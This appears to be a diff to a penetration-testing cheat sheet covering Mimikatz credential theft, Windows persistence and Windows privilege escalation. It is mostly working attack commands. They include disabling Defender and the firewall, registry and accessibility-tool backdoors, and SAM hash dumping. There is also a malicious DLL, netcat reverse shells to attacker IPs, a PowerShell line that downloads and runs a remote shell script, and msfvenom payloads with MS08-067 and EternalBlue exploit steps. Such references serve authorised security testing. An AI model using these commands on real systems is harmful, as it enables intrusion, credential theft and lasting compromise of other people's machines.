@ -66,7 +107,41 @@ net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
```
## Mimikatz commands
## Mimikatz - RDP session takeover
Run tscon.exe as the SYSTEM user, you can connect to any session without a password.
```powershell
privilege::debug
token::elevate
ts::remote /id:2
```
```powershell
# get the Session ID you want to hijack
query user
create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
net start sesshijack
```
## Mimikatz - Credential Manager & DPAPI
```powershell
# check the folder to find credentials
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
# check the file with mimikatz
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
# find master key
$ mimikatz !sekurlsa::dpapi
# use master key
$ mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
```
## Mimikatz - Commands list
| Command |Definition|
|:----------------:|:---------------|
@ -93,7 +168,7 @@ rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
|TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box|
|TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials.
## Powershell Mimikatz
## Mimikatz - Powershell version
Mimikatz in memory (no binary on disk) with :
@ -108,3 +183,4 @@ More informations can be grabbed from the Memory with :
- [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821)
- [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/)
- [Reversing Wdigest configuration in Windows Server 2012 R2 and Windows Server 2016 - 5TH DECEMBER 2017 - ACOUCH](https://www.adamcouch.co.uk/reversing-wdigest-configuration-in-windows-server-2012-r2-and-windows-server-2016/)

View File

@ -1,7 +1,55 @@
# Windows - Persistence
## Summary
* [Tools](#tools)
* [Disable Windows Defender](#disable-windows-defender)
* [Disable Windows Firewall](#disable-windows-firewall)
* [Userland](#userland)
* [Registry](#registry)
* [Startup](#startup)
* [Scheduled Task](#scheduled-task)
* [Serviceland](#serviceland)
* [IIS](#iis)
* [Windows Service](#windows-service)
* [Elevated](#elevated)
* [HKLM](#hklm)
* [Services](#services)
* [Scheduled Task](#scheduled-task)
* [RDP Backdoor](#rdp-backdoor)
* [References](#references)
## Tools
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
## Disable Windows Defender
```powershell
sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true
```
## Disable Windows Firewall
```powershell
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
```
## Userland
Set a file as hidden
```powershell
attrib +h c:\autoexec.bat
```
### Registry
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
@ -11,6 +59,14 @@ Value name: Backdoor
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
Using SharPersist
```powershell
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
```
### Startup
Create a batch script in the user startup folder.
@ -20,6 +76,12 @@ PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
Using SharPersist
```powershell
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
```
### Scheduled Task
```powershell
@ -31,6 +93,37 @@ PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```
Using SharPersist
```powershell
# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
```
## Serviceland
### IIS
IIS Raid Backdooring IIS Using Native Modules
```powershell
$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
```
### Windows Service
Using SharPersist
```powershell
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
```
## Elevated
### HKLM
@ -63,7 +156,28 @@ PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```
### RDP Backdoor
#### utilman.exe
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```
#### sethc.exe
Hit F5 a bunch of times when you are at the RDP login screen.
```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```
## References
* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo)
* [](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/)

View File

@ -6,24 +6,52 @@
* [Windows Version and Configuration](#windows-version-and-configuration)
* [User Enumeration](#user-enumeration)
* [Network Enumeration](#network-enumeration)
* [AppLocker Enumeration](#applocker-enumeration)
* [EoP - Looting for passwords](#eop---looting-for-passwords)
* [SAM and SYSTEM files](#sam-and-system-files)
* [Search for file contents](#search-for-file-contents)
* [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename)
* [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords)
* [Passwords in unattend.xml](#passwords-in-unattendxml)
* [Wifi passwords](#wifi-passwords)
* [Passwords stored in services](#passwords-stored-in-services)
* [Powershell history](#powershell-history)
* [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks)
* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services)
* [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl)
* [EoP - Unquoted Service Paths](#eop---unquoted-service-paths)
* [EoP - Named Pipes](#eop---named-pipes)
* [EoP - Kernel Exploitation](#eop---kernel-exploitation)
* [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated)
* [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
* [EoP - Runas](#eop---runas)
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposures)
* [Token Impersonation (RottenPotato)](#token-impersonation-rottenpotato)
* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts)
* [EoP - Impersonation Privileges](#eop---impersonation-privileges)
* [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives)
* [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation)
* [Juicy Potato (abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges)
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure)
* [MS08-067 (NetAPI)](#ms08-067-netapi)
* [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7)
* [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003)
* [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012)
* [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
* [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
* [CVE-2019-1388](#cve-2019-1388)
* [References](#references)
## Tools
- [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit)
```powershell
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
```
- [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson)
- [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock)
```powershell
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
```powershell
@ -32,11 +60,12 @@
```
- [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check)
- [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits)
- [WindowsEnumv - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
- [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
- [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt)
- [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
- [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit)
- [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)
```powershell
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
```
## Windows Version and Configuration
@ -84,13 +113,13 @@ List user privilege
```powershell
whoami /priv
whoami /groups
```
List all users
```powershell
net user
net user Swissky
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
@ -172,6 +201,13 @@ List firewall's blocked ports
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
```
Disable firewall
```powershell
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
```
List all network shares
```powershell
@ -185,11 +221,19 @@ reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```
## AppLocker Enumeration
- With the GPO
- HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2 (Keys: Appx, Dll, Exe, Msi and Script).
## EoP - Looting for passwords
### SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
```powershell
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
@ -198,6 +242,15 @@ Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
%SYSTEMROOT%\System32\config\RegBack\system
```
Generate a hash file for John using `pwdump` or `samdump2`.
```powershell
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```
Then crack it with `john -format=NT /root/sam.txt`.
### Search for file contents
```powershell
@ -239,7 +292,7 @@ REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
### Passwords in unattend.xml
Location of the unattend.xml files
Location of the unattend.xml files.
```powershell
C:\unattend.xml
@ -249,12 +302,14 @@ C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```
Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`.
Example content
```powershell
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
@ -270,6 +325,13 @@ Example content
</UserAccounts>
```
Unattend credentials are stored in base64 and can be decoded manually with base64.
```powershell
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
SecretSecurePassword1234*
```
The Metasploit module `post/windows/gather/enum_unattend` looks for these files.
### IIS Web config
@ -336,6 +398,14 @@ Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
### Powershell history
```powershell
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
## EoP - Processes Enumeration and Tasks
@ -380,6 +450,7 @@ Scheduled tasks
```powershell
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```
@ -401,6 +472,26 @@ dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Often, services are pointing to writeable locations:
- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking
```powershell
# find missing DLL
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"
# compile a malicious dll
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
# content of windows_dll.c
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
```
- PATH directories with weak permissions
```powershell
@ -422,7 +513,33 @@ Note to check file permissions you can use `cacls` and `icacls`
You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output.
### Example with Windows XP SP1
### Example with Windows 10 - CVE-2019-1322 UsoSvc
Prerequisite: Service account
```powershell
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: usosvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update Orchestrator Service
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem
PS C:\Windows\system32> sc.exe start UsoSvc
```
### Example with Windows XP SP1 - upnphost
```powershell
# NOTE: spaces are mandatory for this exploit to work !
@ -444,7 +561,8 @@ net start upnphost
sc config upnphost depend=""
```
Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals.
Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals or [accesschk-XP.exe - github.com/phackt](https://github.com/phackt/pentest/blob/master/privesc/windows/accesschk-XP.exe)
```powershell
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
@ -496,6 +614,8 @@ The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windo
```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
@ -507,6 +627,13 @@ For `C:\Program Files\something\legit.exe`, Windows will try the following paths
- `C:\Program.exe`
- `C:\Program Files.exe`
## EoP - Named Pipes
1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")`
2. Check named pipes DACL: `pipesec.exe <named_pipe>`
3. Reverse engineering software
4. Send data throught the named pipe : `program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe`
## EoP - Kernel Exploitation
@ -542,7 +669,6 @@ Check if these registry values are set to "1".
```bat
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```
@ -586,16 +712,64 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
```
```powershell
$ secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$ mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$ computer = "<hostname>"
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
```
## EoP - From local administrator to NT SYSTEM
## EoP - Common Vulnerabilities and Exposure
```powershell
PsExec.exe -i -s cmd.exe
```
### Token Impersonation (RottenPotato)
## EoP - Living Off The Land Binaries and Scripts
Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/
> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
Have extra "unexpected" functionality. It is not interesting to document intended use cases.
Exceptions are application whitelisting bypasses
* Have functionality that would be useful to an APT or red team
```powershell
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
```
## EoP - Impersonation Privileges
Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
| Privilege | Impact | Tool | Execution path | Remarks |
| --- | --- | --- | --- | --- |
|`SeAssignPrimaryToken`| ***Admin*** | 3rd party tool | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"* | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br> <br>- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.<br> <br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. ||
|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh) |
|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`<br>2. `icalcs.exe "%windir%\system32" /grant "%username%":F`<br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.<br> <br>To be verified. ||
### Meterpreter getsystem and alternatives
```powershell
meterpreter> getsystem
Tokenvator.exe getsystem cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
psexec -s -i cmd.exe
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
```
### RottenPotato (Token Impersonation)
Binary available at : https://github.com/foxglovesec/RottenPotato
Binary available at : https://github.com/breenmachine/RottenPotatoNG
@ -616,9 +790,111 @@ Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
```
### Juicy Potato (abusing the golden privileges)
Binary available at : https://github.com/ohpe/juicy-potato/releases
:warning: Juicy Potato doesn't work on Windows Server 2019 and Windows 10 1809.
1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication)
```powershell
whoami /priv
```
2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
* [Windows 7 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise)
* [Windows 8.1 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_8.1_Enterprise)
* [Windows 10 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise)
* [Windows 10 Professional](https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro)
* [Windows Server 2008 R2 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise)
* [Windows Server 2012 Datacenter](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter)
* [Windows Server 2016 Standard](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard)
3. Execute JuicyPotato to run a privileged command.
```powershell
JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe"
Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
......
[+] authresult 0
{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
```
## EoP - Common Vulnerabilities and Exposure
### MS08-067 (NetAPI)
Check the vulnerability with the following nmap script.
```c
nmap -Pn -p445--open--max-hostgroup 3--script smb-vuln-ms08-067 <ip_netblock>
```
Metasploit modules to exploit `MS08-067 NetAPI`.
```powershell
exploit/windows/smb/ms08_067_netapi
```
If you can't use Metasploit and only want a reverse shell.
```powershell
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445
```
### MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7
'KiTrap0D' User Mode to Ring Escalation (MS10-015)
```powershell
https://www.exploit-db.com/exploits/11199
Metasploit : exploit/windows/local/ms10_015_kitrap0d
```
### MS11-080 (afd.sys) - Microsoft Windows XP/2003
```powershell
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
```
### MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012
```powershell
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");
# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe
# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
```
### MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
Check if the patch is installed : `wmic qfe list | find "3139914"`
Check if the patch is installed : `wmic qfe list | findstr "3139914"`
```powershell
Powershell:
@ -632,13 +908,46 @@ Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
### MS17-010 (Eternal Blue)
Check the vulnerability with the following nmap script.
```c
nmap -Pn -p445--open--max-hostgroup 3--script smb-vuln-ms17010 <ip_netblock>
```
Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`.
```powershell
auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
```
If you can't use Metasploit and only want a reverse shell.
```powershell
git clone https://github.com/helviojunior/MS17-010
# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
```
### CVE-2019-1388
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
Working on :
- Windows 7
- Windows 10 LTSC 10240
Failing on :
- LTSC 2019
- 1709
- 1803
Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
## References
